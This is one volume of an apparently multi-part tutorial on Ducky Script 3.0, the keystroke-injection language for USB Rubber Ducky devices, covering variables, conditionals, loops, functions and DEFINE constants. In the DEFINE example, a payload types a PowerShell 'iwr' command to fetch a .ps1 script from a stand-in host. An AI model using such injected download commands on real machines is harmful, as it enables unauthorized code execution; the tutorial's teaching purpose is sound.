Ducky Script · Volume 4

Ducky Script Volume 4 — Ducky Script 3.0: The Structured Language

VAR and the operator set, IF/ELSE conditionals, WHILE loops, FUNCTIONs, and the DEFINE preprocessor

Contents

SectionTopic
1About this volume
2VAR — variables
3The operator set
4IF / ELSE — conditionals
5WHILE — loops
6FUNCTION — reusable code
7DEFINE — the preprocessor
8Multi-line STRING blocks
9Payload control — RESTART, STOP, RESET
10Putting it together — a structured payload
11Resources

1. About this volume

Vol 3 was the macro language — the linear, blind, 2010 core. This volume is what Ducky Script 3.0 (2022) added to turn that macro language into a real, if small, programming language: variables, an operator set, conditionals, loops, functions, and a preprocessor.

Two things to keep straight throughout:

  • This is 3.0. Every construct here needs a Mark II USB Rubber Ducky, or a Bash Bunny / Key Croc / O.MG whose firmware supports 3.0 constructs. None of it runs on a Mark I.
  • 3.0 is a superset. Everything in Vol 3 is still valid; 3.0 adds — it does not replace. A real payload mixes plain STRING/DELAY lines with the structured constructs here.

The reason 3.0 exists is the reason Vol 3 ended on: a 1.0 payload types blind. The constructs in this volume — combined with the host-state detection in Vol 5 — are how a payload stops guessing and starts deciding.


2. VAR — variables

A variable is a named value the payload can read and change as it runs. Declared with VAR, named with a $ sigil:

VAR $counter = 0
VAR $attempts = 5
VAR $found = FALSE

The rules — small language, sharp edges:

PropertyDetail
Typeunsigned integer, range 0 – 65535
BooleansTRUE / FALSE are supported as values (internally 1 / 0)
Scopeglobal — every variable is visible everywhere in the payload, including inside functions. There is no local scope.
Sigil$ always — $counter, never counter
DeclarationVAR $name = value declares; $name = value (no VAR) reassigns
No stringsthere is no string variable type. Variables hold numbers. You cannot store typed text in a VAR.

That last row is the one that surprises programmers: Ducky Script variables are counters and flags and computed numbers, not text. You build dynamic text with STRING plus the random-character commands (Vol 5) and arithmetic, not by concatenating string variables.

REM Use a variable as a loop counter (full loop syntax in §5)
VAR $i = 0
WHILE ($i < 3)
    STRINGLN echo attempt $i
    $i = ($i + 1)
END_WHILE

Note $i interpolates inside STRING — the payload above types echo attempt 0, echo attempt 1, echo attempt 2.

Internal variables — the firmware also exposes a set of read-only (and some writable) $_-prefixed variables: $_OS, $_CAPSLOCK_ON, $_CURRENT_VID, $_RANDOM_INT, $_JITTER_ENABLED, and many more. Those are the subject of Vols 5-6; this volume covers the user-declared VAR.


3. The operator set

3.0 has a full operator set. Expressions are written with parentheses required for grouping — the language does not want you relying on memorised precedence.

Arithmetic

=    assignment
+    addition          -    subtraction
*    multiplication    /    division
%    modulo            ^    exponent

Comparison (yield TRUE/FALSE)

==   equal             !=   not equal
>    greater           <    less
>=   greater or equal  <=   less or equal

Logical

&&   AND               ||   OR

Bitwise

&    AND               |    OR
>>   right shift        <<   left shift

Assignment in practice — there are no +=-style compound operators; you write the long form:

VAR $x = 10
$x = ($x + 5)        REM x is now 15
$x = ($x * 2)        REM x is now 30
$x = ($x % 7)        REM x is now 2
   Parentheses are not optional for grouping
   ════════════════════════════════════════════════

   $result = ($a + $b) * $c        ◄── group explicitly
   IF ( ($x > 0) && ($x < 100) ) THEN
       REM x is in range
   END_IF

   The language is small on purpose. Write the parentheses;
   don't make the reader (or the parser) guess.

4. IF / ELSE — conditionals

The conditional executes a block based on whether an expression is TRUE.

IF ( <expression> ) THEN
    REM runs when the expression is TRUE
ELSE
    REM runs when the expression is FALSE   (ELSE is optional)
END_IF

ELSE is optional; END_IF is mandatory — every IF is explicitly closed. The canonical use of IF in real payloads is branching on the target (full host-detection in Vol 5):

REM Branch the whole payload on the detected OS
IF ($_OS == WINDOWS) THEN
    GUI r
    DELAY 500
    STRINGLN cmd
ELSE
    REM assume macOS
    GUI SPACE
    DELAY 500
    STRINGLN terminal
END_IF

Conditionals nest, and combine with the logical operators:

IF ( ($_CAPSLOCK_ON == TRUE) && ($attempts > 0) ) THEN
    REM the host's caps-lock LED is on AND we still have attempts
END_IF

There is no ELSE IF keyword — you nest an IF inside an ELSE, or restructure. For more than two or three branches, a FUNCTION per case (§6) reads better than deep nesting.


5. WHILE — loops

WHILE repeats a block as long as its expression stays TRUE.

WHILE ( <expression> )
    REM runs repeatedly while the expression is TRUE
END_WHILE

END_WHILE closes it. There is no FOR loop — a counted loop is a WHILE plus a manually-incremented variable:

REM Counted loop — press DOWN arrow 20 times
VAR $i = 0
WHILE ($i < 20)
    DOWNARROW
    DELAY 50
    $i = ($i + 1)
END_WHILE
REM Infinite loop — runs until the device is unplugged
WHILE (TRUE)
    REM a persistent-action payload: do the thing, wait, repeat
    DELAY 60000
END_WHILE

The infinite WHILE (TRUE) pattern is common and important: it is how a payload becomes persistent for as long as the device stays connected — re-asserting an action, polling host state, holding a watch. STOP_PAYLOAD (§9) or unplugging is how it ends.

Loop discipline: a WHILE with no DELAY inside it runs as fast as the microcontroller can go and floods the host with keystrokes — that is occasionally what you want (rare) and usually a bug. Put a DELAY in the loop body unless you have a specific reason not to.


6. FUNCTION — reusable code

A function is a named, reusable block. Declared once, called by name (with parentheses):

FUNCTION open_run_dialog()
    GUI r
    DELAY 500
END_FUNCTION

REM ... later in the payload ...
open_run_dialog()
STRINGLN cmd

Properties:

  • RETURN ends the function early and can return an integer or boolean: RETURN 1, RETURN TRUE, or bare RETURN.
  • Global scope still applies — a function reads and writes the same global variables as everything else. There are no parameters and no local variables; you pass data in and out through globals.
  • A function used in an expression context returns its RETURN value: IF ( check_something() == TRUE ) THEN.
REM A function that 'returns' via a global, used as a guard
VAR $ok = FALSE

FUNCTION verify_window_focused()
    REM (a real version would check host state — Vol 5)
    DELAY 300
    $ok = TRUE
    RETURN
END_FUNCTION

verify_window_focused()
IF ($ok == TRUE) THEN
    STRINGLN proceed
END_IF

Functions are the right tool when (a) you do the same multi-line thing more than once, (b) you have a multi-branch decision and want each branch named, or (c) the payload is long enough that named blocks make it readable. They are the wrong tool for a one-off two-liner — Vol 13’s payload-style guidance covers when to reach for them.


7. DEFINE — the preprocessor

DEFINE creates a compile-time constant — a find-and-replace the encoder applies before the payload runs. Named with a # sigil:

DEFINE #DELAY_SHORT 200
DEFINE #DELAY_LONG  2000
DEFINE #PAYLOAD_URL example.com/p.ps1

DELAY #DELAY_LONG
GUI r
DELAY #DELAY_SHORT
STRINGLN powershell -Command "iwr #PAYLOAD_URL"

DEFINE vs VAR — a distinction worth getting right:

DEFINE #NAMEVAR $NAME
When it resolvescompile time — the encoder substitutes the textrun time — a real value in memory
Can it change while running?no — it is a constant text substitutionyes — it is a variable
What can it hold?any text (it is a literal find-and-replace)an unsigned integer 0-65535 only
Use it fortuning knobs, URLs, repeated literals, “magic numbers”counters, flags, computed values, loop state

The practical payoff: DEFINE your tuning constants at the top of the payload. When the payload runs too fast on a slow target, you change #DELAY_LONG in one place instead of hunting through 40 lines of DELAY. It is the closest thing Ducky Script has to a config block.


8. Multi-line STRING blocks

3.0 adds block forms of the typing commands so you can type a whole script without one STRING per line:

STRING
line one of the typed text
line two — typed as-is
END_STRING
  • STRINGEND_STRING — types the enclosed block; strips leading whitespace from each line.
  • STRINGLNEND_STRINGLN — types the block with line breaks preserved; preserves formatting except for the first tab.

These are the right tool for “type this entire here-doc / config file / multi-line script.” The whitespace-handling difference matters when you are typing something whitespace-sensitive (a Python script, a YAML file) — END_STRINGLN is the formatting-preserving one. For anything indentation-sensitive, test it; and remember the clipboard-paste pattern (Vol 3 §8, Vol 13) is often more reliable than typing a long block at all.


9. Payload control — RESTART, STOP, RESET

3.0 gives the payload control over its own execution:

CommandEffect
RESTART_PAYLOADjump back to the first line and run again from the top
STOP_PAYLOADcease all execution immediately
RESETclear the keystroke buffer (release everything, known-clean state)

RESTART_PAYLOAD pairs with the button (Vol 8) and with host-state waits (Vol 5) for “wait for a condition, then do the thing, then go back and wait again” payloads. STOP_PAYLOAD is the clean exit from a WHILE (TRUE) loop once a goal is reached. RESET is the “I don’t know what state the modifier keys are in, put them down” safety command — useful at the start of a payload, or after a HOLD (Vol 6) if logic could skip the matching RELEASE.


10. Putting it together — a structured payload

Everything in this volume, in one payload skeleton. (Host detection — $_OS — is previewed here and covered fully in Vol 5.)

REM ── Structured 3.0 payload: OS-aware, tuned, retrying ──
REM Authorization: <engagement ref>

DEFINE #MAX_TRIES 3
DEFINE #SETTLE 2000

VAR $tries = 0
VAR $done = FALSE

FUNCTION win_path()
    GUI r
    DELAY 500
    STRINGLN cmd
    DELAY 750
    STRINGLN whoami
    $done = TRUE
END_FUNCTION

FUNCTION mac_path()
    GUI SPACE
    DELAY 500
    STRINGLN terminal
    DELAY 1500
    STRINGLN whoami
    $done = TRUE
END_FUNCTION

DELAY #SETTLE
RESET

WHILE ( ($done == FALSE) && ($tries < #MAX_TRIES) )
    IF ($_OS == WINDOWS) THEN
        win_path()
    ELSE
        mac_path()
    END_IF
    $tries = ($tries + 1)
    DELAY 500
END_WHILE

STOP_PAYLOAD

That payload decides rather than guesses: it detects the OS, runs the matching path, tracks whether it succeeded and how many times it has tried, and stops cleanly. Compare it to the linear, blind 1.0 payloads of Vol 3 — same language family, a different kind of artifact. Vol 5 is what makes the $_OS check (and much more) actually informative.


11. Resources

This is Volume 4 of an 18-volume series. Next: Vol 5 covers smart payloads — OS detection ($_OS), reading the host’s keyboard-lock state (WAIT_FOR_CAPS_*), jitter, randomization, and the timing discipline that makes a payload reliable instead of lucky.